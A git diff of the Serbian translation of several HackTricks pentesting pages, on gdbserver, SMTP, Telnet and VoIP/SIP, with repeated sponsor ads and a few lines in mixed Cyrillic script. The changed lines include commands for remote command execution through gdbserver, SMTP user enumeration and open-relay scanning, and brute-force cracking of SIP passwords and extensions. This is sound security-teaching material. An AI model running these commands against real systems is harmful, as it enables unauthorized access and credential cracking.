**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -58,7 +58,7 @@ run
```
### Izvršavanje proizvoljnih komandi
Postoji još jedan način da se **natera debager da izvrši proizvoljne komande putem** [**prilagođenog python skripta preuzetog odavde**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
Postoji još jedan način da se **naterate debager da izvrši proizvoljne komande putem** [**prilagođenog python skripta preuzetog odavde**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345
@ -200,7 +200,7 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera na vaše veb aplikacije, mrežu i oblak
**Dobijte perspektivu hakera na vaše veb aplikacije, mrežu i oblak**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Osnovne informacije**
**Simple Mail Transfer Protocol (SMTP)** je protokol koji se koristi unutar TCP/IP paketa za **slanje i primanje e-pošte**. Zbog svojih ograničenja u redosledu poruka na strani primaoca, SMTP se često koristi zajedno sa **POP3 ili IMAP**. Ovi dodatni protokoli omogućavaju korisnicima da čuvaju poruke na serveru i da ih periodično preuzimaju.
**Protokol jednostavne razmene pošte (SMTP)** je protokol koji se koristi unutar TCP/IP paketa za **slanje i primanje e-pošte**. Zbog svojih ograničenja u redosledu poruka na strani primaoca, SMTP se često koristi zajedno sa **POP3 ili IMAP**. Ovi dodatni protokoli omogućavaju korisnicima da čuvaju poruke na serveru i da ih periodično preuzimaju.
U praksi, uobičajeno je da **programi za e-poštu** koriste **SMTP za slanje e-pošte**, dok koriste **POP3 ili IMAP za primanje**. Na sistemima zasnovanim na Unix-u, **sendmail** se ističe kao SMTP server koji se najčešće koristi za e-poštu. Komercijalni paket poznat kao Sendmail obuhvata POP3 server. Pored toga, **Microsoft Exchange** pruža SMTP server i nudi opciju uključivanja POP3 podrške.
@ -40,7 +40,7 @@ Ako imate priliku da **naterate žrtvu da vam pošalje email** (na primer, putem
Takođe možete dobiti email sa SMTP servera pokušavajući da **pošaljete tom serveru email na nepostojeću adresu** (jer će server poslati napadaču NDN mail). Ali, budite sigurni da šaljete email sa dozvoljene adrese (proverite SPF politiku) i da možete primati NDN poruke.
Trebalo bi takođe da pokušate da **pošaljete različite sadržaje jer možete pronaći zanimljivije informacije** u zaglavljima kao što su: `X-Virus-Scanned: by av.domain.com`\
Trebalo bi da pokušate da **pošaljete različite sadržaje jer možete pronaći zanimljivije informacije** u zaglavljima kao što su: `X-Virus-Scanned: by av.domain.com`\
Trebalo bi da pošaljete EICAR test fajl.\
Otkrivanje **AV** može vam omogućiti da iskoristite **poznate ranjivosti.**
@ -163,7 +163,7 @@ EXPN root
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
```
### Automatski alati
### Аутоматски алати
```
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
@ -171,15 +171,15 @@ Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## DSN Izveštaji
**Izveštaji o statusu isporuke**: Ako pošaljete **email** organizaciji na **nevažeću adresu**, organizacija će vas obavestiti da je adresa nevažeća slanjem **maila nazad vama**. **Zaglavlja** vraćenog emaila će **sadržati** moguće **osetljive informacije** (kao što su IP adresa mail servisa koji su komunicirali sa izveštajima ili informacije o antivirusnom softveru).
**Izveštaji o obaveštenju o statusu isporuke**: Ako pošaljete **email** organizaciji na **nevažeću adresu**, organizacija će vas obavestiti da je adresa nevažeća slanjem **maila nazad vama**. **Zaglavlja** vraćenog emaila će **sadržati** moguće **osetljive informacije** (kao što su IP adresa mail servisa koji su komunicirali sa izveštajima ili informacije o antivirusnom softveru).
## [Komande](smtp-commands.md)
@ -276,14 +276,14 @@ Sa [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mehanizam | Opis |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Uvek se poklapa; koristi se za podrazumevani rezultat poput `-all` za sve IP adrese koje nisu poklopljene prethodnim mehanizmima. |
| A | Ako domen ima adresni zapis (A ili AAAA) koji može da se reši na adresu pošiljaoca, poklapaće se. |
| A | Ako domen ima adresni zapis (A ili AAAA) koji može biti rešen u adresu pošiljaoca, poklapaće se. |
| IP4 | Ako je pošiljalac u datom IPv4 opsegu adresa, poklapaće se. |
| IP6 | Ako je pošiljalac u datom IPv6 opsegu adresa, poklapaće se. |
| MX | Ako domen ima MX zapis koji se rešava na adresu pošiljaoca, poklapaće se (tj. e-mail dolazi sa jednog od domenovih dolaznih mail servera). |
| PTR | Ako je naziv domena (PTR zapis) za adresu klijenta u datom domenu i taj naziv domena se rešava na adresu klijenta (potvrđeni obrnuti DNS), poklapaće se. Ovaj mehanizam se ne preporučuje i treba ga izbegavati, ako je moguće. |
| EXISTS | Ako se dati naziv domena rešava na bilo koju adresu, poklapaće se (bez obzira na adresu na koju se rešava). Ovo se retko koristi. Zajedno sa SPF makro jezikom nudi složenije poklapanje poput DNSBL upita. |
| INCLUDE | Upućuje na politiku drugog domena. Ako politika tog domena prođe, ovaj mehanizam prolazi. Međutim, ako uključena politika ne prođe, obrada se nastavlja. Da biste potpuno delegirali na politiku drugog domena, mora se koristiti redirekcioni ekstenzija. |
| REDIRECT | <p>Redirekcija je pokazivač na drugi naziv domena koji hostuje SPF politiku, omogućava više domena da dele istu SPF politiku. Korisno je kada radite sa velikim brojem domena koji dele istu e-mail infrastrukturu.</p><p>SPF politika domena naznačenog u redirekciji će se koristiti.</p> |
| MX | Ako domen ima MX zapis koji se rešava u adresu pošiljaoca, poklapaće se (tj. e-mail dolazi sa jednog od domenovih dolaznih mail servera). |
| PTR | Ako je naziv domena (PTR zapis) za adresu klijenta u datom domenu i taj naziv domena se rešava u adresu klijenta (potvrđeni obrnuti DNS), poklapaće se. Ovaj mehanizam se ne preporučuje i treba ga izbegavati, ako je moguće. |
| EXISTS | Ako se dati naziv domena rešava u bilo koju adresu, poklapaće se (bez obzira na adresu u koju se rešava). Ovo se retko koristi. Zajedno sa SPF makro jezikom nudi složenije poklapanje poput DNSBL upita. |
| INCLUDE | Upućuje na politiku drugog domena. Ako ta politika domena prođe, ovaj mehanizam prolazi. Međutim, ako uključena politika ne prođe, obrada se nastavlja. Da biste potpuno delegirali na politiku drugog domena, mora se koristiti redirekcioni dodatak. |
| REDIRECT | <p>Redirekcija je pokazivač na drugi naziv domena koji hostuje SPF politiku, omogućava više domena da dele istu SPF politiku. Korisno je kada radite sa velikim brojem domena koji dele istu e-mail infrastrukturu.</p><p>Koristiće se SPF politika domena naznačenog u redirekciji Mehanizma.</p> |
Takođe je moguće identifikovati **Kvalifikatore** koji ukazuju **šta treba učiniti ako se mehanizam poklapa**. Po defaultu, koristi se **kvalifikator "+"** (tako da ako se bilo koji mehanizam poklapa, to znači da je dozvoljeno).\
Obično ćete primetiti **na kraju svake SPF politike** nešto poput: **\~all** ili **-all**. Ovo se koristi da označi da **ako pošiljalac ne odgovara nijednoj SPF politici, treba označiti e-mail kao nepouzdan (\~) ili odbiti (-) e-mail.**
@ -316,7 +316,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Tradicionalno je bilo moguće lažirati bilo koje ime domena koje nije imalo ispravan/bilo koji SPF zapis. **Danas**, ako **email** dolazi iz **domena bez važećeg SPF zapisa**, verovatno će biti **odbijen/označen kao nepouzdan automatski**.
Tradicionalno je bilo moguće lažirati bilo koje ime domena koje nije imalo ispravan/bilo kakav SPF zapis. **Danas**, ako **email** dolazi iz **domenе bez važećeg SPF zapisa**, verovatno će biti **odbijen/označen kao nepouzdan automatski**.
Da biste proverili SPF domena, možete koristiti online alate kao što su: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
@ -353,41 +353,41 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
#### DMARC oznake
| Ime oznake | Svrha | Primer |
| -----------| ---------------------------------------------| ------------------------------- |
| v | Verzija protokola | v=DMARC1 |
| pct | Procenat poruka podložnih filtriranju | pct=20 |
| ruf | URI za izveštavanje o forenzičkim izveštajima | ruf=mailto:authfail@example.com |
| rua | URI za izveštavanje o agregatnim izveštajima | rua=mailto:aggrep@example.com |
| p | Politika za organizacionu domenu | p=quarantine |
| sp | Politika za poddomene OD | sp=reject |
| adkim | Način usklađivanja za DKIM | adkim=s |
| aspf | Način usklađivanja za SPF | aspf=r |
| -----------| --------------------------------------------- | ------------------------------- |
| v | Verzija protokola | v=DMARC1 |
| pct | Procenat poruka podložnih filtriranju | pct=20 |
| ruf | URI za izveštavanje o forenzičkim izveštajima| ruf=mailto:authfail@example.com |
| rua | URI za izveštavanje o agregatnim izveštajima| rua=mailto:aggrep@example.com |
| p | Politika za organizacionu domenu | p=quarantine |
| sp | Politika za poddomene OD | sp=reject |
| adkim | Način usklađivanja za DKIM | adkim=s |
| aspf | Način usklađivanja za SPF | aspf=r |
### **Šta je sa poddomenama?**
**Iz** [**ovde**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Potrebno je imati odvojene SPF zapise za svaku poddomenu sa koje želite da šaljete mail.\
**Iz** [**ovog**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Morate imati odvojene SPF zapise za svaku poddomenu sa koje želite da šaljete e-poštu.\
Sledeće je prvobitno objavljeno na openspf.org, koji je nekada bio odličan resurs za ovakve stvari.
> Demon pitanje: Šta je sa poddomenama?
>
> Ako dobijem mail sa pielovers.demon.co.uk, i nema SPF podataka za pielovers, da li treba da se vratim jedan nivo unazad i testiram SPF za demon.co.uk? Ne. Svaka poddomena na Demonu je različit kupac, i svaki kupac može imati svoju politiku. Ne bi imalo smisla da se politika Demona primenjuje na sve njegove kupce po defaultu; ako Demon želi to da uradi, može postaviti SPF zapise za svaku poddomenu.
> Ako dobijem e-poštu sa pielovers.demon.co.uk, i nema SPF podataka za pielovers, da li treba da se vratim jedan nivo unazad i testiram SPF za demon.co.uk? Ne. Svaka poddomena na Demonu je različit kupac, i svaki kupac može imati svoju politiku. Ne bi imalo smisla da se politika Demona primenjuje na sve njegove kupce po defaultu; ako Demon želi to da uradi, može postaviti SPF zapise za svaku poddomenu.
>
> Tako da je savet za SPF izdavače sledeći: trebate dodati SPF zapis za svaku poddomenu ili ime hosta koje ima A ili MX zapis.
> Dakle, savet za SPF izdavače je sledeći: trebate dodati SPF zapis za svaku poddomenu ili ime hosta koje ima A ili MX zapis.
>
> Sajtovi sa wildcard A ili MX zapisima takođe bi trebali imati wildcard SPF zapis, u obliku: \* IN TXT "v=spf1 -all"
To ima smisla - poddomena može biti u različitoj geografskoj lokaciji i imati vrlo različitu SPF definiciju.
### **Open Relay**
### **Otvoreni relj**
Kada se šalju emailovi, osiguranje da ne budu označeni kao spam je ključno. To se često postiže korišćenjem **relay servera koji je poverljiv za primaoca**. Međutim, uobičajeni izazov je to što administratori možda nisu potpuno svesni koje **IP opsege je sigurno dozvoliti**. Ova nedostatak razumevanja može dovesti do grešaka u postavljanju SMTP servera, što je rizik koji se često identifikuje u bezbednosnim procenama.
Kada se šalju e-poruke, osiguranje da ne budu označene kao spam je ključno. To se često postiže korišćenjem **relay servera koji je poverenik od strane primaoca**. Međutim, uobičajeni izazov je da administratori možda nisu potpuno svesni koje **IP adrese su sigurne za dozvoliti**. Ova nedostatak razumevanja može dovesti do grešaka u postavljanju SMTP servera, što je rizik koji se često identifikuje u bezbednosnim procenama.
Rešenje koje neki administratori koriste da izbegnu probleme sa isporukom emailova, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, je da **dozvole veze sa bilo kojom IP adresom**. To se postiže konfigurisanjem `mynetworks` parametra SMTP servera da prihvati sve IP adrese, kao što je prikazano u nastavku:
Rešenje koje neki administratori koriste da izbegnu probleme sa isporukom e-pošte, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, je da **dozvole veze sa bilo kojom IP adresom**. To se postiže konfigurisanjem `mynetworks` parametra SMTP servera da prihvati sve IP adrese, kao što je prikazano u nastavku:
```bash
mynetworks = 0.0.0.0/0
```
Za proveru da li je mail server otvoreni relé (što znači da može proslediti email sa bilo kog spoljnog izvora), alat `nmap` se obično koristi. Uključuje specifičan skript dizajniran za testiranje ovoga. Komanda za izvođenje detaljnog skeniranja na serveru (na primer, sa IP 10.10.10.10) na portu 25 koristeći `nmap` je:
Za proveru da li je mail server otvoreni relé (što znači da može proslediti email sa bilo kog spoljnog izvora), alat `nmap` se često koristi. Uključuje specifičan skript dizajniran za testiranje ovoga. Komanda za izvođenje detaljnog skeniranja na serveru (na primer, sa IP 10.10.10.10) na portu 25 koristeći `nmap` je:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -505,20 +505,20 @@ s.sendmail(sender, [destination], msg_data)
**Pronađite više informacija o ovim zaštitama na** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
### **Drugi indikatori phishinga**
### **Drugi indikatori phishing-a**
* Starost domena
* Linkovi koji upućuju na IP adrese
* Tehnike manipulacije linkovima
* Sumnjivi (neobični) dodaci
* Pokvareni sadržaj e-pošte
* Vrednosti koje se koriste i koje se razlikuju od onih u zaglavljima e-pošte
* Vrednosti koje se koriste koje se razlikuju od onih u zaglavljima e-pošte
* Postojanje važećeg i pouzdanog SSL sertifikata
* Podnošenje stranice sajtovima za filtriranje web sadržaja
## Ekstrakcija putem SMTP
## Ekstrakcija putem SMTP-a
**Ako možete slati podatke putem SMTP** [**pročitajte ovo**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
**Ako možete slati podatke putem SMTP-a** [**pročitajte ovo**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
## Konfiguracioni fajl
@ -589,7 +589,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera na vaše web aplikacije, mrežu i oblak**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

View file

@ -17,9 +17,9 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -50,10 +50,10 @@ Server se traži da potvrdi da li određena email adresa ili korisničko ime zap
Ova komanda se koristi za preokretanje uloga između klijenta i servera, bez potrebe za pokretanjem nove veze.
**AUTH**\
Sa AUTH komandom, klijent se autentifikuje na serveru, dajući svoje korisničko ime i lozinku. To je još jedan sloj sigurnosti koji garantuje ispravan prenos.
Sa AUTH komandom, klijent se autentifikuje na serveru, dajući svoje korisničko ime i lozinku. To je još jedan sloj sigurnosti koji garantuje pravilnu transmisiju.
**RSET**\
Obaveštava server da će trenutni prenos emaila biti prekinut, iako razgovor SMTP neće biti zatvoren (kao u slučaju QUIT).
Komunicira serveru da će trenutni prenos emaila biti prekinut, iako razgovor SMTP-a neće biti zatvoren (kao u slučaju QUIT).
**EXPN**\
Ova SMTP komanda traži potvrdu o identifikaciji mailing liste.
@ -66,9 +66,9 @@ Zatvara SMTP razgovor.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Osnovne informacije**
Telnet je mrežni protokol koji korisnicima pruža nesiguran način pristupa računaru preko mreže.
Telnet je mrežni protokol koji korisnicima pruža NESIGURAN način pristupa računaru preko mreže.
**Podrazumevani port:** 23
```
@ -37,7 +37,7 @@ Telnet je mrežni protokol koji korisnicima pruža nesiguran način pristupa ra
```bash
nc -vn <IP> 23
```
Sve zanimljivo enumerisanje može se izvršiti pomoću **nmap**:
Sve zanimljive enumeracije mogu se izvesti pomoću **nmap**:
```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
@ -89,9 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,21 +17,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## VoIP Osnovne Informacije
## Osnovne informacije o VoIP-u
To start learning about how VoIP works check:
Da biste počeli da učite kako VoIP funkcioniše, proverite:
{% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/)
{% endcontent-ref %}
## Osnovne Poruke
## Osnovne poruke
```
Request name Description RFC references
------------------------------------------------------------------------------------------------------
@ -212,7 +212,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS skener je veoma brz skener za SIP usluge preko UDP, TCP ili TLS. Koristi više niti i može skenirati velike opsege mreža. Omogućava lako označavanje opsega portova, skeniranje kako TCP tako i UDP, korišćenje druge metode (po defaultu će koristiti OPTIONS) i specificiranje različitog User-Agent-a (i još mnogo toga).
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS skener je veoma brz skener za SIP usluge preko UDP, TCP ili TLS. Koristi više niti i može skenirati velike opsege mreža. Omogućava lako označavanje opsega portova, skeniranje i TCP i UDP, korišćenje druge metode (po defaultu će koristiti OPTIONS) i specificiranje drugačijeg User-Agent-a (i još mnogo toga).
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -248,7 +248,7 @@ sippts enumerate -i 10.10.0.10
```
### Анализирање одговора сервера
Веома је важно анализирати хедере које сервер враћа, у зависности од типа поруке и хедера које шаљемо. Са `SIPPTS send` из [**sippts**](https://github.com/Pepelux/sippts) можемо слати персонализоване поруке, манипулишући свим хедерима, и анализирати одговор.
Веома је важно анализирати хедере које сервер шаље назад, у зависности од типа поруке и хедера које шаљемо. Са `SIPPTS send` из [**sippts**](https://github.com/Pepelux/sippts) можемо слати персонализоване поруке, манипулишући свим хедерима, и анализирати одговор.
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
@ -258,7 +258,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### Extension Enumeration
Ekstenzije u PBX (Privatna centralna stanica) sistemu se odnose na **jedinstvene interne identifikatore dodeljene pojedinačnim** telefonskim linijama, uređajima ili korisnicima unutar organizacije ili preduzeća. Ekstenzije omogućavaju **efikasno usmeravanje poziva unutar organizacije**, bez potrebe za pojedinačnim spoljnim brojevima telefona za svakog korisnika ili uređaj.
Ekstenzije u PBX (Privatna centralna razmena) sistemu se odnose na **jedinstvene interne identifikatore dodeljene pojedinačnim** telefonskim linijama, uređajima ili korisnicima unutar organizacije ili preduzeća. Ekstenzije omogućavaju **efikasno usmeravanje poziva unutar organizacije**, bez potrebe za pojedinačnim spoljnim brojevima telefona za svakog korisnika ili uređaj.
* **`svwar`** iz SIPVicious (`sudo apt install sipvicious`): `svwar` je besplatan SIP PBX ekstenzijski skener. U konceptu funkcioniše slično tradicionalnim wardialer-ima tako što **pogađa opseg ekstenzija ili dati spisak ekstenzija**.
```bash
@ -273,7 +273,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
* **`enumiax` (`apt install enumiax`): enumIAX** je Inter Asterisk Exchange protokol **alat za brute-force enumeraciju korisničkih imena**. enumIAX može raditi u dva različita režima; Sekvencijalno pogađanje korisničkog imena ili Napad rečnikom.
* **`enumiax` (`apt install enumiax`): enumIAX** je Inter Asterisk Exchange protokol **brute-force enumerator za korisnička imena**. enumIAX može raditi u dva različita moda; Sekvencijalno Pogađanje Korisničkog Imena ili Napad Rečnikom.
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
@ -287,7 +287,7 @@ Nakon što su otkrili **PBX** i neke **ekstenzije/korisnička imena**, Crveni Ti
{% hint style="danger" %}
Imajte na umu da **korisničko ime** može biti isto kao ekstenzija, ali ova praksa može varirati u zavisnosti od PBX sistema, njegove konfiguracije i preferencija organizacije...
Ako korisničko ime nije isto kao ekstenzija, moraćete da **otkrijete korisničko ime koje treba da brute-forcujete**.
Ako korisničko ime nije isto kao ekstenzija, moraćete da **otkrijete korisničko ime da biste ga brute-forcali**.
{% endhint %}
* **`svcrack`** iz SIPVicious (`sudo apt install sipvicious`): SVCrack vam omogućava da provalite lozinku za određeno korisničko ime/ekstenziju na PBX-u.
@ -295,7 +295,7 @@ Ako korisničko ime nije isto kao ekstenzija, moraćete da **otkrijete korisnič
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack je daljinski alat za probijanje lozinki za SIP usluge. Rcrack može testirati lozinke za nekoliko korisnika na različitim IP adresama i opsezima portova.
